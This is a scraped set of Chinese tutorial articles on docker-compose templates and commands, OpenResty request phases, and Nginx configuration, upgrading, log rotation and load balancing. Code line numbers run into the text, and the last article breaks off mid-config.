如果是二进制包方式安装的,删除二进制文件即可. 1sudo rm /usr/local/bin/docker-compose 5.测试安装成功12docker-compose --version docker-compose version 1.25.5, build 4667896b 14.3 docker compose使用场景最常见的项目是 web 网站,该项目应该包含 web 应用和缓存. springboot应用 mysql服务 redis服务 elasticsearch服务 ……. docker-compose模板https://vuepress.mirror.docker-practice.com/https://vuepress.mirror.docker-practice.com/ 12345678910111213141516171819202122232425262728293031version: "3.0"services: mysqldb: image: mysql:5.7.19 container_name: mysql ports: - "3306:3306" volumes: - /root/mysql/conf:/etc/mysql/conf.d - /root/mysql/logs:/logs - /root/mysql/data:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: root networks: - ems depends_on: - redis redis: image: redis:4.0.14 container_name: redis ports: - "6379:6379" networks: - ems volumes: - /root/redis/data:/data command: redis-server networks: ems: 通过docker-compose运行一组容器https://vuepress.mirror.docker-practice.com/container/run/https://vuepress.mirror.docker-practice.com/container/run/ 12[root@centos ~]# docker-compose up //前台启动一组服务[root@centos ~]# docker-compose up -d //后台启动一组服务 14.4 docker-compose 模板文件模板文件是使用 Compose 的核心,涉及到的指令关键字也比较多.但大家不用担心,这里面大部分指令跟 docker run 相关参数的含义都是类似的. 默认的模板文件名称为 docker-compose.yml,格式为 YAML 格式. 123456789version: "3"services: webapp: image: examples/web ports: - "80:80" volumes: - "/data" 注意每个服务都必须通过 image 指令指定镜像或 build 指令(需要 Dockerfile)等来自动构建生成镜像. 如果使用 build 指令,在 Dockerfile 中设置的选项(例如:CMD, EXPOSE, VOLUME, ENV 等) 将会自动被获取,无需在 docker-compose.yml 中重复设置. 下面分别介绍各个指令的用法. build指定 Dockerfile 所在文件夹的路径(可以是绝对路径,或者相对 docker-compose.yml 文件的路径). Compose 将会利用它自动构建这个镜像,然后使用这个镜像. 12345version: '3'services: webapp: build: ./dir 你也可以使用 context 指令指定 Dockerfile 所在文件夹的路径. 使用 dockerfile 指令指定 Dockerfile 文件名. 使用 arg 指令指定构建镜像时的变量. 123456789version: '3'services: webapp: build: context: ./dir dockerfile: Dockerfile-alternate args: buildno: 1 command覆盖容器启动后默认执行的命令. 1command: echo "hello world" container_name指定容器名称.默认将会使用 项目名称_服务名称_序号 这样的格式. 1container_name: docker-web-container 注意: 指定容器名称后,该服务将无法进行扩展(scale),因为 Docker 不允许多个容器具有相同的名称. depends_on解决容器的依赖、启动先后的问题.以下例子中会先启动 redis db 再启动 web 1234567891011121314version: '3'services: web: build: . depends_on: - db - redis redis: image: redis db: image: postgres 注意:web 服务不会等待 redis db 「完全启动」之后才启动. env_file从文件中获取环境变量,可以为单独的文件路径或列表. 如果通过 docker-compose -f FILE 方式来指定 Compose 模板文件,则 env_file 中变量的路径会基于模板文件路径. 如果有变量名称与 environment 指令冲突,则按照惯例,以后者为准. 123456env_file: .envenv_file: - ./common.env - ./apps/web.env - /opt/secrets.env 环境变量文件中每一行必须符合格式,支持 # 开头的注释行. 12# common.env: Set development environmentPROG_ENV=development environment设置环境变量.你可以使用数组或字典两种格式. 只给定名称的变量会自动获取运行 Compose 主机上对应变量的值,可以用来防止泄露不必要的数据. 1234567environment: RACK_ENV: development SESSION_SECRET:environment: - RACK_ENV=development - SESSION_SECRET 如果变量名称或者值中用到 true|false,yes|no 等表达 布尔 含义的词汇,最好放到引号里,避免 YAML 自动解析某些内容为对应的布尔语义.这些特定词汇,包括 1y|Y|yes|Yes|YES|n|N|no|No|NO|true|True|TRUE|false|False|FALSE|on|On|ON|off|Off|OFF healthcheck通过命令检查容器是否健康运行. 12345healthcheck: test: ["CMD", "curl", "-f", "http://localhost"] interval: 1m30s timeout: 10s retries: 3 image指定为镜像名称或镜像 ID.如果镜像在本地不存在,Compose 将会尝试拉取这个镜像. 123image: ubuntuimage: orchardup/postgresqlimage: a4bc65fd networks配置容器连接的网络. 1234567891011version: "3"services: some-service: networks: - some-network - other-networknetworks: some-network: other-network: ports暴露端口信息. 使用宿主端口:容器端口 (HOST:CONTAINER) 格式,或者仅仅指定容器的端口(宿主将会随机选择端口)都可以. 12345ports: - "3000" - "8000:8000" - "49100:22" - "127.0.0.1:8001:8001" 注意:当使用 _HOST:CONTAINER_ 格式来映射端口时,如果你使用的容器端口小于 60 并且没放到引号里,可能会得到错误结果,因为 _YAML_ 会自动解析 _xx:yy_ 这种数字格式为 60 进制.为避免出现这种问题,建议数字串都采用引号包括起来的字符串格式. sysctls配置容器内核参数. 1234567sysctls: net.core.somaxconn: 1024 net.ipv4.tcp_syncookies: 0sysctls: - net.core.somaxconn=1024 - net.ipv4.tcp_syncookies=0 ulimits指定容器的 ulimits 限制值. 例如,指定最大进程数为 65535,指定文件句柄数为 20000(软限制,应用可以随时修改,不能超过硬限制) 和 40000(系统硬限制,只能 root 用户提高). 12345ulimits: nproc: 65535 nofile: soft: 20000 hard: 40000 volumes数据卷所挂载路径设置.可以设置为宿主机路径(HOST:CONTAINER)或者数据卷名称(VOLUME:CONTAINER),并且可以设置访问模式 (HOST:CONTAINER:ro). 该指令中路径支持相对路径. 1234volumes: - /var/lib/mysql - cache/:/tmp/cache - ~/configs:/etc/configs/:ro 如果路径为数据卷名称,必须在文件中配置数据卷. 12345678910version: "3"services: my_src: image: mysql:8.0 volumes: - mysql_data:/var/lib/mysqlvolumes: mysql_data: 14.5 docker-compose 常用命令1. 命令对象与格式对于 Compose 来说,大部分命令的对象既可以是项目本身,也可以指定为项目中的服务或者容器.如果没有特别的说明,命令对象将是项目,这意味着项目中所有的服务都会受到命令影响. 执行 docker-compose [COMMAND] --help 或者 docker-compose help [COMMAND] 可以查看具体某个命令的使用格式. docker-compose 命令的基本的使用格式是 1docker-compose [-f=<arg>...] [options] [COMMAND] [ARGS...] 2. 命令选项 -f, --file FILE 指定使用的 Compose 模板文件,默认为 docker-compose.yml,可以多次指定. -p, --project-name NAME 指定项目名称,默认将使用所在目录名称作为项目名. --x-networking 使用 Docker 的可拔插网络后端特性 --x-network-driver DRIVER 指定网络后端的驱动,默认为 bridge --verbose 输出更多调试信息. -v, --version 打印版本并退出. 3.命令使用说明up格式为 docker-compose up [options] [SERVICE...]. 该命令十分强大,它将尝试自动完成包括构建镜像,(重新)创建服务,启动服务,并关联服务相关容器的一系列操作. 链接的服务都将会被自动启动,除非已经处于运行状态. 可以说,大部分时候都可以直接通过该命令来启动一个项目. 默认情况,docker-compose up 启动的容器都在前台,控制台将会同时打印所有容器的输出信息,可以很方便进行调试. 当通过 Ctrl-C 停止命令时,所有容器将会停止. 如果使用 docker-compose up -d,将会在后台启动并运行所有的容器.一般推荐生产环境下使用该选项. 默认情况,如果服务容器已经存在,docker-compose up 将会尝试停止容器,然后重新创建(保持使用 volumes-from 挂载的卷),以保证新启动的服务匹配 docker-compose.yml 文件的最新内容 down 此命令将会停止 up 命令所启动的容器,并移除网络 exec 进入指定的容器. ps格式为 docker-compose ps [options] [SERVICE...]. 列出项目中目前的所有容器. 选项: -q 只打印容器的 ID 信息. restart格式为 docker-compose restart [options] [SERVICE...]. 重启项目中的服务. 选项: -t, --timeout TIMEOUT 指定重启前停止容器的超时(默认为 10 秒). rm格式为 docker-compose rm [options] [SERVICE...]. 删除所有(停止状态的)服务容器.推荐先执行 docker-compose stop 命令来停止容器. 选项: -f, --force 强制直接删除,包括非停止状态的容器.一般尽量不要使用该选项. -v 删除容器所挂载的数据卷. start格式为 docker-compose start [SERVICE...]. 启动已经存在的服务容器. stop格式为 docker-compose stop [options] [SERVICE...]. 停止已经处于运行状态的容器,但不删除它.通过 docker-compose start 可以再次启动这些容器. 选项: -t, --timeout TIMEOUT 停止容器时候的超时(默认为 10 秒). top查看各个服务容器内运行的进程. unpause格式为 docker-compose unpause [SERVICE...]. 恢复处于暂停状态中的服务.","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"五.openresty执行流程","path":"/wiki/API-Gateway/五. Openresty执行流程.html","content":"总字符数: 3.24K 代码: 无, 文本: 1.31K 预计阅读时间: 6 分钟 Nginx处理阶段Nginx处理请求的过程一共划分为11个阶段,按照执行顺序依次是 post-read(读取请求内容阶段) NGX_HTTP_POST_READ_PHASE:nginx读取并解析完请求头之后就立即开始运行:例如模块ngx_realip就在post-read阶段注册了处理程序,它的功能是迫使Nginx认为当前请求的来源地址是指定的某一个请求头的值 server-rewrite(server请求地址重写阶段) NGX_HTTP_SERVER_REWRITE_PHASE:当ngx_rewrite模块的set配置指令直接写在server配置块中时,基本上都是运行在server-rewrite阶段 find-config(配置查找阶段) NGX_HTTP_FIND_CONFIG_PHASE:这个阶段并不支持Nginx模块注册处理程序,而是由Nginx核心来完成当前请求与location配置块之间的配对工作. rewrite(location请求地址重写阶段) NGX_HTTP_REWRITE_PHASE:当ngx_rewrite指令用于location中,就是再这个阶段运行的;另外ngx_set_misc(设置md5、encode_base64等)模块的指令,还有ngx_lua模块的set_by_lua指令和rewrite_by_lua指令也在此阶段. post-rewrite(请求地址重写提交阶段) NGX_HTTP_POST_REWRITE_PHASE:当nginx完成rewrite阶段所要求的内部跳转动作,如果rewrite阶段有这个要求的话; preaccess(访问权限检查准备阶段) NGX_HTTP_PREACCESS_PHASE:ngx_limit_req和ngx_limit_zone在这个阶段运行,ngx_limit_req可以控制请求的访问频率,ngx_limit_zone可以控制访问的并发度; access(访问权限检查阶段) NGX_HTTP_ACCESS_PHASE:标准模块ngx_access、第三方模块ngx_auth_request以及第三方模块ngx_lua的access_by_lua 指令就运行在这个阶段.配置指令多是执行访问控制相关的任务,如检查用户的访问权限,检查用户的来源IP是否合法; post-access(访向权限检查提交阶段) NGX_HTTP_POST_ACCESS_PHASE:主要用于配合access阶段实现标准ngx_http_core模块提供的配置指令satisfy的功能.satisfy all(与关系),satisfy any(或关系) try-files(配置项try_files处理阶段) NGX_HTTP_TRY_FILES_PHASE:专门用于实现标准配置指令try_files的功能,如果前N-1个参数所对应的文件系统对象都不存在,try-files阶段就会立即发起"内部跳转"到最后一个参数(即第N个参数)所指定的URI. content(内容产生阶段) NGX_HTTP_CONTENT_PHASE:是所有请求处理阶段中最为重要的阶段,因为这个阶段的指令通常是用来生成HTTP响应内容并输出HTTP响应的使命; log(日志模块处理阶段) NGX_HTTP_LOG_PHASE:记录日志 注意:Nginx的Conf中的指令的书写顺序和执行顺序是两码事,不支持Nginx模块注册处理程序的阶段:find-config post-rewrite post-access(主要用于Nginx本身完成一些自己的逻辑),常用的有rewite阶段 access阶段 content阶段 Nginx下Lua处理阶段与使用范围OpenResty处理请求大致分为四个阶段 初始化阶段 重写与访问阶段 内容生成阶段 日志记录阶段 lua-nginx-module-arch 注意:生产环境中要加入lua_code_cache on到http指令中中.lua_code_cache:开启或关闭Lua代码缓存 阶段的存在,应该是OpenResty不同于其他多数Web Server编程的最明显特征了.由于nginx把一个会话分成了很多阶段,这样第三方模块就可以根据自己行为挂载到不同阶段进行处理达到目的. 指令可以在http server server if location location if几个范围进行配置: 指令 处理阶段 使用范围 解释 init_by_lua init_by_lua_file loading-config http Nginx Master进程加载配置时执行;通常用于初始化全局配置/预加载Lua模块 init_worker_by_lua init_worker_by_lua_file starting-worker http 每个Nginx worker进程启动时调用的计时器,如果Master进程不允许则只会在init_by_lua之后调用;通常用于定时拉取配置/数据,或者后端服务的健康检查 set_by_lua set_by_lua_file rewrite server,server if,location,location if 设置nginx变量,可以实现复杂的赋值逻辑;此处是阻塞的,Lua代码要做到非常快; rewrite_by_lua rewrite_by_lua_file rewrite tail http,server,location, location if 可以实现复杂的转发/重定向逻辑; access_by_lua access_by_lua_file access tail http,server,location,location if 实现访问控制 content_by_lua content_by_lua_file content location,location if header_filter_by_lua header_filter_by_lua_file output-header-filter http,server,location,location if 响应HTTP过滤处理(例如添加头部信息),设置Header和Cookie body_filter_by_lua body_filter_by_lua_file output-body-filter http,server,location,location if Body过滤处理(完成应答内容统一成大写)对响应数据进行过滤,比如:截断,替换 log_by_lua log_by_lua_file log http,server,location,location if 响应完成后本地异步完成日志记录(日志可以记录在本地,还可以同步到其他机器)阶段处理,比如记录访问量/统计平均响应时间","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"三.Nginx配置文件详解","path":"/wiki/API-Gateway/三. Nginx配置文件详解.html","content":"总字符数: 4.91K 代码: 5.06K, 文本: 无 预计阅读时间: 22 分钟 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157# 以哪个用户,运行nginx应用# nobody是个低权限用户,为了安全# user nobody;# nginx进程数启动进程,通常设置成cpu的核数# 查看cpu核数# cat /proc/cpuinfoworker_processes 1;# 全局错误日志# nginx的error_log类型如下(从左到右: debug最详细crit最少):# [debug info notice warn error crit ]# 例如: error_log logs/nginx_error.log crit;# 解释:日志文件存储在nginx安装目录下的 logs/nginx_error.log,错误类型为crit,也就是记录最少错误信息;error_log logs/error.log;error_log logs/notice.log notice;error_log logs/info.log info;# PID文件,记录当前启动的nginx的进程IDpid logs/nginx.pid;# 这个参数表示worker进程最多能打开的文件句柄数,基于liunx系统ulimit设置# 查看系统文件句柄数最大值:ulimit -n# Linux一切皆文件,所有请求过来最终目的访问文件,所以该参数值设置等同于liunx系统ulimit设置为优worker_rlimit_nofile 65535;# 工作模式及连接数上限events { # 网络模型高效(相当于建立索引查找结果),nginx配置应该启用该参数 # 但是仅用于linux2.6以上内核,可以大大提高nginx的性能 use epoll; # 该参数表示设置一个worker进程最多开启多少线程数 # 优化设置应该等同于worker_rlimit_nofile设置值,表明一个线程处理一个http请求,同时可以处理一个文件数,各个模块之间协调合作不等待. worker_connections 65535;}# 设定http服务器,利用它的反向代理功能提供负载均衡支持http { # 设定mime类型,类型由mime.type文件定义 # NIME(Multipurpose Internet Nail Extensions)多用途互联网邮件扩展类型.是设定某种扩展名的文件用一种应用程序来#打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开 include /etc/nginx/mime.types; default_type application/octet-stream; # 设定日志格式 log_format main '[$remote_addr] - [$remote_user] [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer"' '"$http_user_agent" "$http_x_forwarded_for"'; access_log/var/log/nginx/access.log # sendfile # 开启高效文件传输模式,sendfile指令指定nginx是否调用sendfile函数来输出文件,对于普通应用设为on,如果用来进行下载等应用磁盘I0重负载应用,可设置为off,以平衡磁盘与网络I/0处理速度,降低系统的负载.注意:如果图片显示不正常把这个改成off. sendfile on; #防止网络阻塞 tcp_nopush on; #防止网络阻塞 tcp_nodelay on; # 连接超时时间 # keepalive_timeout 0; #长连接超时时间,单位是秒 keepalive_timeout 65; # 开启gzip压缩 gzip on; # IE6及以下禁止压缩 gzip_disable "MSIE [1-6]\\."; # 最小压缩文件大小 gzip_min_length 1k; # 压缩缓冲区 gzip_buffers 4 16k; # 压缩版本(默认1.1,前端如果是squid2.5请使用(1.0) gzip_http_version 1.0; # 压缩等级 gzip_comp_level 2; # 压缩类型 gzip_types text/plain application/x-javascript text/css application/xml; # 给CDN和代理服务器使用,针对相同url,可以根据头信息返回压缩和非压缩副本 gzip_vary on; # 设定请求缓冲 client_header_buffer_size 1k;# 上传文件大小限制 large_client_header_buffers 4 4k;# 设定请求缓存 # 设定负载均衡的服务器列表 upstream mysvr { # weigth参数表示权值,权值越高被分配到的几率越大 server 192.168.8.1x:3128 weight=5; server 192.168.8.2x:80 weight=1; server 192.168.8.3x:80 weight=6; } upstream mysvr2 { # weigth参数表示权值,权值越高被分配到的几率越大 server 192.168.8.x:8 weight=1; server 192.168.8.x:8 weight=6; } # 虚拟主机的配置 server { # 侦听80端口 listen 80; # 设置编码 charset koi8-r; # 定义使用www.xx.com访问域名可以有多个,用空格隔开 server_name www.xx.com; # 设定本虚拟主机的访问日志 access_log logs/www.xx.com.access.log main; #默认请求 location / { #定义服务器的默认网站根目录位置 root /root; # 定义首页索引文件的名称 index index.php index.html index.htm; # 请求转向mysvr定义的服务器列 proxy_pass http://mysvr; # 以下是一些反向代理的配置可删除. proxy_redirect off; # 后端的web服务器可以通过x-Forwarded-For获取用户真实IP proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 允许客户端请求的最大单文件字节数 client_max_body_size 10m; # 缓冲区代理缓冲用户端请求的最大字节数. client_body_buffer_size 128k; # nginx跟后端服务器连接超时时间(代理连接超时) proxy_connect_timeout 90; # 后端服务器数据回传时间(代理发送超时) proxy_send_timeout 90; # 连接成功后,后端服务器响应时间(代理接收超时) proxy_read_timeout 90; # 设置代理服务器(nginx)保存用户头信息的缓冲区大小 proxy_buffer_size 4k; # proxy_buffers缓冲区,网页平均在32k以下的话,这样设置 proxy_buffers 4 32k; # 高负荷下缓冲大小(proxy_buffers*2) proxy_busy_buffers_size 64k; # 设定缓存文件夹大小,大于这个值,将从upstream服务器传 proxy_temp_file_write_size 64k; } # 定义错误提示页面 error_page 500 502 503 504 /50x.html; location = /50x.html { root /root; } # 本地动静分离反向代理配置 # 所有jsp的页面均交由tomcat或resin处理 location ~.(jspjspxdo)?$ { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8088; } # 静态文件,nginx自己处理 location ~ ^/(imagesjavascriptjscssflashmediastatic)/ { root /var/www/virtual/htdocs; # 过期30天,静态文件不怎么更新,过期可以设大一点,如果频繁更新,则可以设置得小一点. expires 30d; } # 设定查看Nginx状态的地址 location /NginxStatus { stub_status on; access_log on; auth_basic "NginxStatus"; auth_basic_user_file conf/htpasswd; #htpasswd文件的内容可以用apache提供的htpasswd工具来产生. } #禁止访问.htxxx文件 location ~ /\\.ht { deny all; } }}","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"二.Nginx相关知识","path":"/wiki/API-Gateway/二. Nginx相关知识.html","content":"总字符数: 10.98K 代码: 6.19K, 文本: 2.21K 预计阅读时间: 37 分钟 Nginx安装12345678910111213141516cd /opt# Nginx下载wget http://nginx.org/download/nginx-1.13.0.tar.gz# 解压tar -zxvf nginx-1.13.0.tar.gz# 安装依赖yum -y install gcc gcc-c++ ncurses-devel perl pcre pcre-devel zlib gzip zlib-devel# Nginx编译./configure --prefix=/usr/local/nginx# 安装Nginxmake & make install# 安装路径:/usr/local/nginxconf 存放配置文件html 网页文件logs 存放日志sbin shell启动、停止等脚本 Nginx平滑升级把服务器从低版本升级为高版本,强行停止服务器,会影响正在运行的进程.平滑升级不会停掉正在进行中的进程,这些进程会继续处理请求.但不会再接受新请求,这些老的进程在处理完请求之后会停止.此平滑升级过程中,新开的进程会被处理. 123456789101112131415161718192021222324252627282930313233# 下载高版本nginxwget http://nginx.org/download/nginx-1.13.1.tar.gz# configure./configure# 编译平滑升级不要进行安装,不要make installmake# 进入objs目录有高版本的nginxcd objs# 备份低版本的nginxcp /usr/sbin/nginx ./nginx.old# 执行强制覆盖cp -rfp objs/nginx /usr/sbin/# 测试一下新复制过来文件生效情况/usr/local/nginx/sbin/nginx -tps -ef grep nginx# 执行信号平滑升级kill -USR2 主程序进程号# 给nginx发送USR2信号后,nginx会将1ogs/nginx.pid文件重命名为nginx.pid.oldbin,然后用新的可执行文件启动一个新的nginx主进程和对应的工作进程,并新建一个新的nginx.pid保存新的主进程号ps -ef grep nginxkill -WINCH 旧的主进程号# 旧的主进程号收到WINCH信号后,将旧进程号管理的旧的工作进程优雅的关闭.即一段时间后旧的工作进程全部关闭,只有新的工作进程在处理请求连接.这时,依然可以恢复到旧的进程服务,因为旧的进程的监听socket还未停止.处理完后,工作进程会自动关闭ps -ef grep nginxKILL -QUIT 旧的主进程号# 给旧的发送QUIT信号后,旧的主进程退出,并移除nginx.pid.oldbin文件,nginx升级完成# 升级完成后,看一下升级后的版本/usr/sbin/nginx -v# 中途停止升级,回滚到旧的nginx不在升级# 在以上 kill -WINCH 旧的主进程号 这个步骤时,如果想回到旧的nginx,不再进行升级# 1. 给旧的主进程号发送HUP命令,此时nginx不重新读取配置文件的情况下重新启动旧主进程的工作进程.kill -HUP 旧主进程号# 2. 优雅的关闭新的主进程kill -QUIT 新主进程号 Nginx命令 nginx启动 nginx/nginx -c nginx配置文件 nginx重启(重启是建立在nginx服务器已经启动的基础上) nginx -s reload nginx停止 nginx -s stop stop是快速关闭,不管有没有正在处理的请求 nginx -s quit quit是一个优雅的关闭方式,Nginx在退出前完成已经接受的连接请求 nginx 重启打开日志 nginx -s reopen nginx检查配置文件 nginx -t Nginx信号控制从容关闭旧进程 具体语法:kill -信号选项 nginx的主进程号 例:kill -INT 26661 ps -ef grep nginx获得进程号 从容”优雅”停止 kill -QUIT master进程号 Nginx服务可以正常地处理完当前所有请求再停止服务 步骤:首先会关闭监听端口,停止接收新的连接,然后把当前正在处理的连接全部处理完,最后再退出进程 快速停止 kill -TERM master进程号 kill -INT master进程号 快速停止服务时,worker进程与master进程在收到信号后会立刻跳出循环,退出进程 强制停止 kill -9 nginx系统强杀nginx进程 重启nginx kill -HUP master进程号 Nginx基本配置Nginx配置文件详解 12345678910111213141516171819# Nginx的主配置文件是:nginx.conf,nginx.conf主要组成如下:# 全局区有一个工作子进程,一般设置为CPU数*核数worker_processes 1;events { # 一般是配置nginx进程与连接的特性 # 如1个word能同时允许多少连接,一个子进程最大允许连接1024个连接 worker_connections 1024;}# 配置HTTP服务器配置段http { # 配置虚拟主机段 server { # 定位,把特殊的路径或文件再次定位. location { } } server { }} nginx配置连接数1234567891011121314151617181920# 表示开启nginx的worker进程的个数,nginx启动会开两种进程,master进程用来管理调度,worker进程用来处理请求:worker_processes:1;# 两种设置方法,比如# 方法一:worker_processes auto;# 表示设置服务器cpu核数匹配开启nginx开启的worker进程数# 查看cpu核数:cat /proc/cpuinfo# 方法二:nginx设置cpu亲和力worker_processes 8;worker_cpu_affinity 00000001 0000010 00000100 00001000 00010000 00100000 01000000 10000000;# 00000001表示启用第一个CPU内核,00000010表示启用第二个CPU内核,以此类推# worker_cpu_affinity:表示开启八个进程,第一个进程对应着第一个CPU内核,第二个进程对应着第二个CPU内核,以此类推.# 这种设置方法更高效,因将每个cpu核提供给固定的worker进程服务,减少cpu上下文切换带来的资源浪费# 如果服务器cpu有限 比如:2核CPU,开启2个进程,设置如下worker_processes 2;worker_cpu_affinity 01 10;# 比如:4核CPU,开启4个进程,设置如下worker_processes 2;worker_cpu_affinity 0001 0010 0100 1000;# 1个worker进程能够最大打开的文件数(线程数)worker_connections 65535 (参考worker_rlimit_nofile) nginx作为http服务器 最大的客户端连接数 max_cloents = worker_processes * worker_connections/2 nginx作为反向代理服务器的时候 最大的客户端连接数 max_cloents = worker_processes * worker_connections/4 由此,我们可以进算出nginx作为http服务器最大并发量(作为反向代理服务器自己类推),可以作为压测和线上环境的优化提供一些理论依据: 单位时间keepalive_timeout内nginx最大并发量CC = worker_processes * worker_connections/2=8*65535/2 每秒并发量CS:CS = worker_processes * worker_connections/(2*65) 虚拟主机 虚拟主机(英语:virtual hosting)或称 共享主机(shared web hosting),又称虚拟服务器,是一种在单一主机或主机群上,实现多网域服务的方法,可以运行多个网站或服务的技术.虚拟主机之间完全独立,并可由用户自行管理,虚拟并非指不存在,而是指空间是由实体的服务器延伸而来,其硬件系统可以是基于服务器群,或者单个服务器. 其技术是互联网服务器采用的节省服务器硬件成本的技术,虚拟主机技术主要应用于HTTP,FTP,EMAIL等多项服务,将一台服务器的某项或者全部服务内容逻辑划分为多个服务单位,对外表现为多个服务器,从而充分利用服务器硬件资源.如果划分是系统级别的,则称为虚拟服务器. 配置虚拟主机我们先配置在一个nginx中配置一个虚拟主机,编辑nginx.conf配置文件,在http模块中,配置server模块,一个server模块就针对一个虚拟主机. 我们模拟一个独立的网站,此网站域名访问为www.server1.com;网站的根目录放到nginx目录下htm1/server1目录,我们创建一个首页index.html到server1中,编辑index.html 1234567<!DOCTYPE html><html><head><title>server1 首页</title>/ head><body><h1>server1 首页</h1></body></html> 下面我们回到nginx.conf配置文件中,配置server模块 123456789101112131415161718192021222324252627# 下面我们回到nginx.conf配置文件中,配置server模块server {# 监听80端口listen 80;# 虚拟主机名,可以为域名或ip地址server_name www.server1.com;# 默认请求路由,以后文章中会重点介绍location / { # 网站的根目录 root html/server1; # 默认首页文件名index index.html index.htm; }}server {# 监听80端口listen 80;# 虚拟主机名,可以为域名或ip地址server_name www.server2.com;# 默认请求路由,以后文章中会重点介绍location / { # 网站的根目录 root html/server2; # 默认首页文件名index index.html index.htm; }} 注意:在配置server模块时,监听的端口listen和server_name组合起来是唯一的,如果server_name一样,那么listen监听的端口就不一样:如端口一样,server_name就不一样.这是很好理解的,虚拟主机的请求映射系统才能够判别. 日志文件格式配置nginx服务在运行的时候,会有各种操作,操作的信息会记录到日志文件中,日志文件的记录是有格式的.那我们如何设置日志文件的格式呢? 123# 使用log_format指令进行配置文件格式# nginx的1og_format有很多可选的参数用于指示服务器的活动状态,默认的是:log_format main '$remote_addr - $remote_user [$time_local] "$request"' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log指令1234# 语法:access_log path [format [buffer=size [flush=time]]];access_log path format gzip[=level] [buffer=size] [flush=time];access_log off; 配置段: gzip压缩等级. buffer设置内存缓存区大小. flush保存在缓存区中的最长时间.不记录日志:access_log off; 使用默认combined格式记录日志:access_log logs/access.log或 access_log logs/access.log combined;值得注意的是,Nginx进程设置的用户和组必须对日志路径有创建文件的权限,否则,会报错. 此外,对于每一条日志记录,都将是先打开文件,再写入日志,然后关闭.可以使用open_log file_cache来设置日志文件缓存(默认是off). 日志切割wordpress.log-—>wordpress-2021-09-16.log以日期命名存放 1234567# 将log文件修改为想存放的日志格式mv access.log access-2021-09-16.log# 查看Nginx进程号ps -ef grep nginx# 发送重读日志信号kill -USR1 nginx进程号# 通过mv命令 把当前的log文件重读命令,再用信号控制指令 发送重读日志指令 产生了新的日志log文件 系统自动切割利用sh脚本的方式执行刚才的手动操作,在每天凌晨执行一个计划任务调用sh脚本,就完成了系统自动切割日志文件 在opt/目录下编写sh脚本 123456789101112131415161718192021222324# 进入目录cd /opt# 创建脚本文件touch cutlog.sh# 打开文件vim cutlog.sh# 以下是文件内容#!/bin/bash# 根据自己的logs路径修改一下路径LOGS_PATH=/usr/local/nginx/logs/wordpressYESTERDAY=$(date -d "yesterday" +%Y-%m-%d)# 根据自己的日志文件名修改下方access.log名称mv ${LOGS_PATH}/wordpress_access.log ${LOGS_PATH}/wordpress_access_${YESTERDAY}.1og#向 Nginx主进程发送USR1信号.USR1信号是重新打开日志文件kill -USR1 $(cat /usr/local/nginx/nginx/logs/nginx.pid) # 保存并退出(按ESC键输入):wq# 给sh脚本赋予权限chmod +x cutlog.sh# 设置定时任务vim /etc/crontab# 定时每天00:00以root身份执行脚本/opt/cutlog.sh0 0 * * * root /opt/cutlog.sh# 实现定时定点自动切割日志文件 location配置详解 语法规则:location [=~~*^~] /uri/ {...} location区分普通匹配和正则匹配 123456用前缀"~"和" \\~*"修饰的为正则匹配~ 前缀表示区分大小写的正则匹配~* 前缀表示不区分大小写的正则匹配除上面修饰的前缀("="和"^~",或没有前缀修饰)都为普通匹配= 前缀表示精确匹配^~前缀表示uri以某个常规字符串开头,可以理解为url的普通匹配 location作用于server模块,且支持多个location模块 12345678910111213server { location /test { root html/p; index index.html index.htm;} location = /50x.html { root html;} location / {root html/server1;index index.html index.htm; }} 匹配的原则 普通匹配,最大前缀匹配原则 12345678910server { location /prefix/ { #规则A } location /prefix/mid/ { #规则B } }请求ur1为:/prefix/mid/t.html此请求匹配的是规则B,是以最大的匹配原则进行的,跟顺序无关 正则匹配 为顺序匹配 1234567891011server { location ~ \\.(gifljpglpngljscss)$ { #规则C } location~* \\.png$ { #规则D } }请求http://localhost/1.png,匹配的是规则c,因为规则c在前面,即叫做顺序匹配 在实际场景中,通常至少有三个匹配规则定义 1234567891011121314151617181920#直接匹配网站根,通过域名访问网站首页比较频繁,使用这个会加速处理.#这里是直接转发给后端应用服务器了,也可以是一个静态首页#第一个必选规则location =/ { ····}#第二个必选规则是处理静态文件请求,这是nginx作为http服务器的强项#有两种配置模式,目录匹配或后缀匹配,任选其一或搭配使用location ^~ /static/ {root /webroot/static/;}location ~* \\.(gifjpgjpegpngcssjsico)$ {root /webroot/res/;}#第三个规则就是通用规则,用来转发动态请求到后端应用服务器#非静态文件请求就默认是动态请求,自己根据实际把握#毕竟目前的一些框架的流行、带.php,.jsp后缀的情况很少了location / { ·····} 负载均衡 负载平衡(Load balancing)是一种电脑技术,用来在多个电脑(电脑集群)、网络连接、CPU、磁盘驱动器或其他资源中分配负载,以达到优化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的. 使用带有负载平衡的多个服务器组件,取代单一的组件,可以通过冗余提高可靠性.负载平衡服务通常是由专用软件和硬件来完成. 主要作用是将大量作业合理地分摊到多个操作单元上进行执行,用于解决互联网架构中的高并发和高可用的问题. nginx实现负载均衡原理,用户访问首先访问到nginx服务器,然后nginx服务器再从应用服务器集群中选择压力比较小的服务器,然后将该访问请求引向该服务器.如果应用服务器集群中某一台服务器崩溃,那么从待选择服务器列表中将该服务器删除,也就是说一个服务器崩溃了,那么nginx服务器不会把请求引向到该服务器. 1234567891011 upstream myproxy{ server 10.10.1.2:8080; server 10.10.1.3:8080; } server{ listen 80; server\\_name wordpress-1258894728.cos.ap-beijing.myqcloud.com; location / { proxy\\_pass http://myproxy; } } 负载均衡方案 随机(轮询) 1234upstream myproxy{server 10.10.1.2:8080;server 10.10.1.3:8080;} 权重 1234upstream myproxy{server 10.10.1.2:8080 weight=5;server 10.10.1.3:8080 